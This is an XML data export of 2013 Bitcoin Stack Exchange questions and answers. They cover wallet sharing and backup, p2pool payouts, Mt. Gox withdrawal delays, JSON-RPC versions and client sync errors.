  <row Id="12793" PostTypeId="1" AcceptedAnswerId="12871" CreationDate="2013-08-20T17:22:59.593" Score="1" ViewCount="1013" Body="&lt;p&gt;A few clarifications about running the bitcoin client (let's say bitcoin-qt) on multiple machines on a private.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question is sort of hypothetical but I was hoping to get some insight into best-practices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose I want to share a wallet between 2 machines and have both automatically update whenever there is a send/receive.  I imagine one way to do this is to have a single wallet.dat file available on one of the machines and have both clients point to it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or on another server somewhere or even some cloud storage account.  So my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is this even possible?  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If so, is it considered safe or a good practice?  Should/can you share the blockchain db files as well?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Would the wallet encryption cause any issues with this?  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What if the clients are running on different OS?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Any alternative non-cloud solutions ?  Like keeping it on one machine that will allow (secure) remote access from the other?  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Of course one could just use a blockchain.info or other e-wallet and problem-solved.  Although that solution has its own inherent issues as well.  &lt;/p&gt;&#xA;" OwnerUserId="6321" LastActivityDate="2013-08-23T00:17:28.780" Title="Shared Wallets and Syncing" Tags="|wallet|client|bitcoin-core|wallet.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12794" PostTypeId="2" ParentId="12314" CreationDate="2013-08-20T17:32:41.680" Score="6" Body="&lt;p&gt;Biggest problem facing spaceborne bitcoin is communications latency.  Consider possible Mars colony.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Light speed imposes delay, 4 to 24 minutes.  Bad enough this is.  If miners on both Earth and Mars, each comes up with new block, possibly extends blockchain twice more, before signal from other crosses distance.  Means very long transaction confirmation time, for colonists (assuming on Earth most mining power).  Transactions fine going into local blockchains, but those blockchains not continuing.  Only when individual transaction records reach Earth (meaning lightspeed delay at minimum) does it get into chain that will more likely  continue.  Then must wait while more blocks close at ten minutes approx. each.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now further problem appears.  High latency causing deeper depth of chains which abort.  Colonists wanting to be sure of transaction commitment. To be as sure  as six blocks deep in earth-only chain, must being nine or more blocks deep in interplanetary chain.  So now delay is lightspeed delay, plus maybe 90 minutes.  Then lightspeed delay again before news reaches Mars.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Mars 24 light minutes from Earth, expect delay confirming Martian transactions minimum around 140 minutes.  Plus whatever network propagation delay on planet, not usually very significant.  Effect much less pronounced when 4 Minutes mars is from Earth;  Need only 7 blocks to be as sure, lightspeed delay much less.  Expect delay around 80 minutes confirming Martian transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Earth mostly unaffected as long as Mars have not significant mining power.  But when real possibility is scenario of Martian blockchain accepted and extended, Earth-only transactions also take ten to thirty minutes extra for confirm.  Problem here is not knowing when Martian miner extends chain, so needs more chain depth before sure of confirmation.  Still, extra delay only about ten minutes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Propagation delay problem goes deeper when additional colonies on Ceres, Juno, Pallas, Vesta, Jupiter Moons, &amp;amp;c.  Extra time taken for confirm transactions proportional to approximate diameter of sphere containing vast majority of mining power.  Adding twice lightspeed delay at least from center of mining power to location for confirmation times at location. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extra bandwidth too.  Extra bandwidth required because of aborted blockchains.  Not significant too much in reasonable scenarios, but in extreme case scales badly, with square of distance.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, bitcoin client need accurate network time. Establish accurate network time require many iterations of light speed delay.  Bitcoin client not worry about.   Will be provided by operating system.  Must be provided, because &lt;em&gt;MOST&lt;/em&gt; network clients want accurate network time.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if too picky about accurate, is not really possible (or at least very interesting) due to Relativity.  Time passing at slightly different rates closer and further from sun, different orbital speeds, different relative vectors, etc.  Einstein is a Meanie. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we have meta-problem.  Mining not really possible unless mining power on site comparable to mining power at largest other single site.  No point mining bitcoin on Martian colony, for example;  Due to lightspeed delay your work will arrive 4 to 24 minutes after you do it, and you'll be working with blockchain 4 to 24 minutes older than miners on earth.  You must work so hard that you get 8 to 50 minutes &lt;em&gt;ahead&lt;/em&gt; of Earth's miners.  Very very hard to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interesting though, that if this ever happens, then when Martian extend blockchain, suddenly it is Earth miners who are 8 to 50 minutes behind.  All considerations of delay previously working against Mars colony now work against Earth; roles reversed as long as nobody Earth get 8 to 50 minutes ahead of Martian miner.  Suddenly Earth transactions face 80 to 140 minute delays, Martian transactions clear in only 70.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, effects of different mining speed various locations on hash rate.  Consider where Martian miners have 1/4 power of Earth Miners.  Due to high variability of block closures, chance of mining &quot;center&quot; switching to Mars and unfairly favoring Martians as above very real is.  So is chance of switching back to Earth and unfairly favoring Earthlings later. When a 2016 block mined, possible that hash difficulty could change suddenly.  Possible for hash difficulty swing back and forth unpredictably, one week to next.  Miners have maybe very prosperous week, then very dry month when no coins at all, and all go broke.  Meanwhile Miners in other location reap huge reward in bitcoin.  Depending on value of bitcoin, sudden swings in direction of money movement affect local economies, destabilize things.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in general, value movement caused by mining would be unfair directed away from smaller locations toward major centers of mining, probably bad for development of frontiers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edward. &lt;/p&gt;&#xA;" OwnerUserId="6421" LastEditorUserId="6421" LastEditDate="2013-08-20T17:52:46.147" LastActivityDate="2013-08-20T17:52:46.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12795" PostTypeId="2" ParentId="12670" CreationDate="2013-08-20T18:13:30.693" Score="23" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What's stopping people from doing so? What's the catch?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The catch is that few people have been able to get US dollars out of Mt. Gox since June 20, 2013, when Mt. Gox imposed a &quot;hiatus&quot; on US dollar withdrawals.  Mt. Gox has a long list of excuses for not paying their debts, which you can find on their site.  Some of their excuses strain credulity.  This has stopped arbitrage, which normally uses the same money going round and round from exchange to exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mt. Gox is still paying out Bitcoins on demand, most of the time. So people with US dollars in a Mt. Gox account are paying a premium to convert them to Bitcoins, get them off Mt. Gox, and sell them on another Bitcoin exchange.  Right now, the premium is about 15%, and it's been up to 20% briefly.  It seems to be increasing about 5% per week.  This reflects the market's collective opinion of whether funds deposited on Mt. Gox will be lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoin-analytics.com&quot;&gt;http://bitcoin-analytics.com&lt;/a&gt; has paid tools for tracking the spread.&lt;/p&gt;&#xA;" OwnerUserId="6440" LastActivityDate="2013-08-20T18:13:30.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12796" PostTypeId="2" ParentId="11986" CreationDate="2013-08-20T18:37:56.383" Score="3" Body="&lt;p&gt;Go your local goodwill/thrift/whatever.  They have usually old PCs for ~15EUR.  If storage can hold block chain and can handle internet, is enough. &lt;/p&gt;&#xA;" OwnerUserId="6421" LastActivityDate="2013-08-20T18:37:56.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12797" PostTypeId="1" AcceptedAnswerId="12850" CreationDate="2013-08-20T19:01:54.153" Score="7" ViewCount="16798" Body="&lt;p&gt;I'm mining Litecoins in the &lt;a href=&quot;http://q30.qhor.net:9327/&quot; rel=&quot;nofollow&quot;&gt;q30.qhor.net&lt;/a&gt; P2Pool node at a current rate of around 75 kH/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been reading that decentralized p2pool mining differs a bit from centralized mining pools, e.g. that you only get paid out when a block is solved successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I'm mining for about 8h now in this p2pool and during that time 3 blocks were solved:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Block   Time                            Luck&#xA;409925  Tue, 20 Aug 2013 17:09:16 GMT   155.4%&#xA;409848  Tue, 20 Aug 2013 14:02:12 GMT   95.1%&#xA;409784  Tue, 20 Aug 2013 12:07:41 GMT   165.1%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That means, some payouts occured during that time. I checked some of the other addresses, they really got instant payouts. But I didn't.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Address                             Hash Rate   Stale   Amount (LTC)&#xA;LV6GjHN8...someltcaddress..aWdKZ2g  2.93MH/s    4.36%   0.21685736&#xA;LWoKVQ8y...someltcaddress..2dm5FqL  2.44MH/s    5.12%   0.22766967&#xA;LedmP6yA...someltcaddress..hGBdLHW  1.97MH/s    7.02%   0.13804534&#xA;...&#xA;LUj1UAKL...myaddresshere...jWYAPA9  77.8kH/s    1.69%   -&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using pool's cpuminer 2.3.2 and see a lot of accepted shares.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $ ./minerd --version&#xA;cpuminer 2.3.2&#xA;libcurl/7.31.0 OpenSSL/1.0.1c zlib/1.2.8&#xA; $ ./minerd -a scrypt -r 1 -t 12 -s 6 -o http://q30.qhor.net:9327 -O LUj1UAKL...myaddresshere...jWYAPA9+0.00001800:1&#xA;...&#xA;[2013-08-20 20:57:05] thread 1: 168 hashes, 6.48 khash/s&#xA;[2013-08-20 20:57:05] accepted: 4270/4396 (97.13%), 76.76 khash/s (yay!!!)&#xA;[2013-08-20 20:57:05] thread 9: 4116 hashes, 6.41 khash/s&#xA;[2013-08-20 20:57:05] accepted: 4271/4397 (97.13%), 76.76 khash/s (yay!!!)&#xA;[2013-08-20 20:57:06] thread 2: 7452 hashes, 6.47 khash/s&#xA;[2013-08-20 20:57:06] accepted: 4272/4398 (97.14%), 76.76 khash/s (yay!!!)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I did not get any payout, yet. Why?&lt;/p&gt;&#xA;" OwnerUserId="6441" LastEditorUserId="6441" LastEditDate="2014-02-22T19:53:22.250" LastActivityDate="2014-02-22T19:53:22.250" Title="Why is my p2pool share not payed out?" Tags="|mining-pools|litecoin|p2pool|pool-payout-methods|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12798" PostTypeId="2" ParentId="12642" CreationDate="2013-08-20T20:31:59.680" Score="3" Body="&lt;p&gt;Using a Bitcoin payment processor like &lt;a href=&quot;https://bitpay.com&quot; rel=&quot;nofollow&quot; title=&quot;Bitcoin payment processor&quot;&gt;BitPay&lt;/a&gt; can make collecting donations as a charity much easier. BitPay will value the bitcoin at the time of the transaction, and charities can choose to take the payment as Bitcoin or have it converted to a number of other currencies and deposited directly in a bank account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of note, BitPay processes transactions for 501(c)(3) nonprofits entirely for free- no fees and 0% commission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may be the ideal solution for your situation, as it can also simplify legal complexities by allowing you to accept bitcoin donations as US Dollars. Then the procedure for bitcoin donations would be similar to your current procedure for USD donations.&lt;/p&gt;&#xA;" OwnerUserId="5841" LastActivityDate="2013-08-20T20:31:59.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12799" PostTypeId="2" ParentId="12797" CreationDate="2013-08-20T20:33:49.580" Score="1" Body="&lt;p&gt;The p2pool payout method is based on PPLNS, so if your shares are not in the window of the blocks found, you will not get any payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know if there is any other problem that could prevent you from receiving payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, in centralized pools it is also true that you only get payment when a block is found, unless they are using PPS.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-08-20T20:33:49.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12800" PostTypeId="2" ParentId="12791" CreationDate="2013-08-20T21:08:19.240" Score="2" Body="&lt;p&gt;I requested a transfer on July 22 and still haven't received it yet. There was a bounty offered for people to prove that they've received a wire in USD from Mt.Gox from the moment in which they announced they had resumed withdrawals. Only one user claimed it and he requested his wire on July 3 (which was July 4 on Japan time which is Mt.Gox's time zone). Unfortunately, it seems he's the only person to have gotten paid so far or the others aren't sharing any info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thread here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=251895.160&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=251895.160&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="6444" LastActivityDate="2013-08-20T21:08:19.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12802" PostTypeId="1" CreationDate="2013-08-20T22:13:14.097" Score="1" ViewCount="1423" Body="&lt;p&gt;Apparently withdrawals from MtGox are currently taking at least four weeks and probably at least eight weeks.  Would it be possible to establish an account on some other site than MtGox, then move bitcoins quickly from MtGox to that other site, the sell them and withdraw dollars quickly?  What sites, what fees, and what amounts of time would be involved?&lt;/p&gt;&#xA;" OwnerUserId="492" LastActivityDate="2013-08-20T23:41:59.360" Title="Alternative ways to move money out of mtgox" Tags="|mtgox|transaction-fees|withdrawal|" AnswerCount="0" CommentCount="2" ClosedDate="2014-02-19T22:39:43.613" ContentLicense="CC BY-SA 3.0" />
  <row Id="12803" PostTypeId="2" ParentId="12788" CreationDate="2013-08-20T22:37:35.293" Score="0" Body="&lt;p&gt;&quot;The public key of the issuer must be INSIDE the contract. (In the sample contracts, it’s the first key that appears.)&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/FellowTraveler/Open-Transactions/wiki/FAQ&quot; rel=&quot;nofollow&quot;&gt;https://github.com/FellowTraveler/Open-Transactions/wiki/FAQ&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So a counterfeit issue would not have the right digital signature.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-08-20T22:37:35.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12804" PostTypeId="1" AcceptedAnswerId="12809" CreationDate="2013-08-20T22:41:31.860" Score="4" ViewCount="580" Body="&lt;p&gt;Which version of the JSON-RPC protocol does Bitcoin use? 1.0 or 2.0? (This question is asked, but that was almost 3 years ago. &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7541/which-version-of-the-json-rpc-protocol-does-bitcoin-use&quot;&gt;link&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If try to use version 2.0 all works well &lt;code&gt;curl --data-binary '{&quot;jsonrpc&quot;: &quot;2.0&quot;, &quot;id&quot;:&quot;curltest&quot;, &quot;method&quot;: &quot;getinfo&quot;, &quot;params&quot;: [] }' -H 'content-type: text/plain;' http://bitcasino:qwerty@127.0.0.1:8332/&lt;/code&gt;&#xA;But named parameters are not supported (or I dont know right parameter names).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I fount in bitcoind repo file with declared json-rpc error codes: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/bitcoinrpc.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;. Codes named as &lt;code&gt;Standard JSON-RPC 2.0 errors&lt;/code&gt; Is it metioned &lt;code&gt;parts, that not specified in 1.0&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is the official position now? Still 1.0 ?&lt;/p&gt;&#xA;" OwnerUserId="6395" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-03-28T21:45:24.737" Title="Which version of the JSON-RPC does Bitcoin use?" Tags="|bitcoind|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12806" PostTypeId="2" ParentId="7639" CreationDate="2013-08-21T00:05:41.933" Score="-1" Body="&lt;p&gt;The way I think about Bitcoin is like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bob wants to conduct a transaction with Alice using Bitcoin. Who can help Alice prove that she really owns and is giving Bob the number of Bitcoins that she says that she is?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone with a really fast computer.  Luckily, Manny has one of those.  Manny will gladly help Alice and Bob out, but only if his costs are paid for and he gets a little something for his effort.  The proof takes energy, and energy has a cost.  So does Manny's equipment. And, quite honestly, Manny would rather be on the beach than spending time purchasing, installing, and tending to that equipment.  (not the mention the risk Manny is taking by owning all that expensive equipment in the first case).  But he is rewarded/paid enough that he will run the proof.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The average cost of a bitcoin will tend toward the cost of mining a bitcoin (or earning a bitcoin in fees).  It would be interesting to compare at this time given that the cost of a bitcoin is easily measurable in USD, EUR and the like.  Cost of equipment and energy are relatively easy to know, which could make measuring real fiat labor costs relatively easy.  Then again, it is difficult to know how many see this as a hobby (or are teenagers/young adults stealing electricity from their parents).&lt;/p&gt;&#xA;" OwnerUserId="6445" LastActivityDate="2013-08-21T00:05:41.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12807" PostTypeId="1" CreationDate="2013-08-21T01:08:50.160" Score="0" ViewCount="472" Body="&lt;p&gt;Running Windows 7;&#xA;I'm not really sure what is going on. The wallet has stolen my BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wallet never synchronizes, it never finishes. If I leave it on all day -I will come home to see it crashed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The application is also not visible from anywhere except possibly from Task Manager. When I try to start it.. it says: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;cannot obtain a lock on data directory ... Bitcoin is probably already running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal here is to get the bitcoins that I have and move them back to the account I have with the vendor. Then I will purge my system of this so called &quot;program&quot; and never use it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional information: Bitcoin Wallet version 0.5.0.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is old -can I upgrade without losing my secure key? WHERE IS MY WALLET.DAT FILE? I CAN'T FIND IT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://img19.imageshack.us/img19/2080/qk0m.jpg&quot; rel=&quot;nofollow&quot;&gt;http://img19.imageshack.us/img19/2080/qk0m.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ANY HELP IS GOOD. &lt;/p&gt;&#xA;" OwnerUserId="6446" LastEditorUserId="6446" LastEditDate="2013-08-21T02:59:02.640" LastActivityDate="2013-08-21T06:56:11.913" Title="QT wallet never syncronizes; often crashes; is locked and not showing attempt to send BTC" Tags="|wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12808" PostTypeId="1" CreationDate="2013-08-21T01:12:19.173" Score="1" ViewCount="1615" Body="&lt;p&gt;i put in my identifier to log in and it stays stuck on the log in page.&#xA;It says &quot;changing wallet identifier&quot; and doesn't let me log in.  After a while, it says that they disabled login for too many attempts.&#xA;I have not been able to log on for the past 2-3 days.&#xA;please help.&lt;/p&gt;&#xA;" OwnerUserId="6447" LastActivityDate="2013-08-25T10:31:50.323" Title="I can't access my wallet" Tags="|blockchain|wallet|" AnswerCount="1" CommentCount="4" ClosedDate="2013-09-18T08:41:11.017" ContentLicense="CC BY-SA 3.0" />
  <row Id="12809" PostTypeId="2" ParentId="12804" CreationDate="2013-08-21T01:23:13.747" Score="2" Body="&lt;p&gt;1.0, but with a couple of 2.0 features:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Batch&quot; calls are supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the 2.0 error semantics are used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Passing named parameters is not supported.  &quot;Patches welcome&quot; if you want to &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/2960&quot; rel=&quot;nofollow&quot;&gt;add full 2.0 support&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="7412" LastEditDate="2015-03-28T21:45:24.737" LastActivityDate="2015-03-28T21:45:24.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12810" PostTypeId="1" CreationDate="2013-08-21T01:52:45.937" Score="3" ViewCount="1265" Body="&lt;p&gt;I have bitcoinQT with some coins on it.  I want to use the internet on a regular basis from this computer.  I do not trust the authors of internet applications and commercial operating systems.  I especially do not trust the manufacturers of printers.  I also do not trust that there will never come a day when burglars (or polite young men with a writ, same thing) with guns break into my home and take away all computing devices and storage media they can find. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is my intent to use a pen and paper to write down public key and address, and destroy all trace of bitcoin addresses currently holding value from all electronic media.  That which is not stored electronically - at all - is secure from all possible electronic snoops and all possible thieves of equipment, as well as from equipment malfunction.  That which does not exist, even in encrypted form on storage media, cannot even be shown to have ever existed.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But having done so -- what exactly do I need to type, at keyboard, into a text file, to create something that bitcoinQT, when started with no known wallet on the machine (as though for the first time) knows how to import?  What exact format?  And how exactly do I tell bitcoinQT to import it?&lt;/p&gt;&#xA;" OwnerUserId="6421" LastActivityDate="2013-09-03T06:32:16.310" Title="Backing up wallet with pen and paper, destroying electronic copy, restoring from keyboard -- how?" Tags="|security|backup|offline|paper-wallet|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12811" PostTypeId="1" CreationDate="2013-08-21T02:15:20.000" Score="2" ViewCount="3041" Body="&lt;p&gt;I can not access my wallet, since 10 days now, I have downloaded the bitcoin-qt multibit version 0.5.13. On my HP-window 7- 32 bit laptop successfully and I immediately received 2 transactions simultaneously which was successful too, I could only rehearse with my transaction on the screen for just few hours, since ten days now.&#xA;I have been trying to open my wallet and make some transaction with my coins, but when I launch the multibit client platform as usual the screen start downloading blocks and synchronizing with network, this will go on for the whole day and stop at a particular point without access to my wallets, it has finally stopped at synchronizing with network 119 blocks to download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had mistakenly created 3 more empty wallets with my first and original wallet while looking for means to bring back my wallet to life. The four icons of the wallets are visibly displayed on screen, I have even tried to reset my block chain and transaction to see if any of the wallets can pop up, but they seems to be clinically dead, because the synchronizing therein always stop at 88%.&#xA;The download and synchronizing manner of this multibit client platform had finally exhausted my internet bandwidth for the month, I think the slow performance of my computer may have contributed to this drama also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MY COMPUTER: HP LAPTOP CORE 2 DUO T5750 - OS WINDOW 7 ULTIMATE SERVICE PACK 1, 32 BITS, 2GHZ, MEMORY RAM 1GB, I am using a 3G broadband HSDPA 7.2MBPS network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;disk transfer rate 4.8mbp/s, graphics 4.0mbp/s, ram 4.5mbps/s, processor 4.7mbps/s and the total base score 4.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Computer troubleshooting report -- programme compatibility details --incompactible application -- (multibit) detected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not too familiar with IT technical jargons, but this information might be usefull to whomever would help me out.&#xA;I do not even have the address of my first and original wallet off-head, but the wallet was protected with a password before it disappeared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions: how can I recover my address and my first wallet, and how can I migrate with my wallet to a light client or hassle free web-wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerned people, if there is anything like going to the 'file' in my download to recover my wallet there, please help explain in details as am new to the whole computer stuff. thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="6448" LastEditorUserId="120" LastEditDate="2013-08-21T18:18:55.763" LastActivityDate="2015-06-29T19:37:11.277" Title="Multibit client synchronizing since 10 Days now" Tags="|wallet|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12812" PostTypeId="2" ParentId="12810" CreationDate="2013-08-21T03:48:56.947" Score="0" Body="&lt;p&gt;How much typing are you willing to do?  You can always write down a base-58 encoding of whatever data you want.  But that seems at best time-consuming and at worst error-prone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple ideas come to mind.  One is to get some graph paper and hand-draw yourself a QR code that you can scan with a digital camera.  But I'm still wondering why you're worried about thieves acquiring your digital media but not your papers.  Is it really that much easier to hide a piece of paper than a CD-ROM?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another idea is to choose some file on the Internet, and use that as the secret seed to a deterministic key.  Then you need not store any digital media nor papers.  Just make darn sure that whoever controls the server it's on isn't going to take it away or change it.  Maybe use a file available in a number of places or even not on the Internet: some CD-ROM in the back of a book at the library, or the first &lt;em&gt;n&lt;/em&gt; phone numbers on page &lt;em&gt;X&lt;/em&gt; of the 1965 Manhattan white pages.  I imagine the genesis block doesn't change that oten, and if it ever goes away then using your Bitcoins might not be an issue either.  You get the idea.&lt;/p&gt;&#xA;" OwnerUserId="6122" LastActivityDate="2013-08-21T03:48:56.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12813" PostTypeId="1" AcceptedAnswerId="12869" CreationDate="2013-08-21T04:17:00.150" Score="1" ViewCount="1676" Body="&lt;p&gt;I'm on a Macbook Pro, launching Bitcoin-qt, version 0.8.2, and I see this error when it tries to sync:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EXCEPTION: 11DbException       &#xA;Db::put: Cannot allocate memory       &#xA;bitcoin in ProcessMessage()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea what I should do? I've backed up the &lt;code&gt;wallet.dat&lt;/code&gt; file. Not sure why it cannot allocate memory to continue to sync.&lt;/p&gt;&#xA;" OwnerUserId="1420" LastActivityDate="2013-08-22T23:54:49.200" Title="How do I fix Bitcoin-qt Error: &quot;Cannot allocate memory bitcoin in ProcessMessage()&quot;" Tags="|wallet|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12814" PostTypeId="2" ParentId="12807" CreationDate="2013-08-21T04:24:54.093" Score="1" Body="&lt;p&gt;Two actions here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Back up your wallet.dat file&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You will most likely find it here, based on these instructions:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Securing_your_wallet#Windows_2&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Securing_your_wallet#Windows_2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;C:\Documents and Settings\YourUserName\Application data\Bitcoin&#xA;  (Windows XP)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;C:\Users\YourUserName\Appdata\Roaming\Bitcoin (Windows Vista and 7)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Update your bitcoin-qt instance to the latest version:&#xA;&lt;a href=&quot;http://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.org/en/download&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1420" LastActivityDate="2013-08-21T04:24:54.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12815" PostTypeId="2" ParentId="12810" CreationDate="2013-08-21T06:35:17.607" Score="2" Body="&lt;p&gt;The Satoshi bitcoin client has a &lt;code&gt;dumpprivkey&lt;/code&gt; command available in the console, which outputs an encoded string of about 50-60 alphanumeric characters.  That should be pretty easy to write down, and it can be reimported with the &lt;code&gt;importprivkey&lt;/code&gt; command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you're &lt;em&gt;really&lt;/em&gt; paranoid, why ever have your private key on a computer at all?  Flip a coin a bunch of times to generate some random bits, and then run the ECDSA keypair generation routine with a paper and pencil!  Hash the public key (you can use a computer for that part) to get your address, and transfer all your bitcoins to that address.  If you want to spend them someday, run ECDSA's signing algorithm by hand to make a raw transaction, key it in, and put it on the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, stealing the piece of paper where you wrote down the key is probably a lot &lt;em&gt;easier&lt;/em&gt; than decrypting an electronic copy.  It seems to me your trust is a little misplaced.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2013-08-21T07:23:20.037" LastActivityDate="2013-08-21T07:23:20.037" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
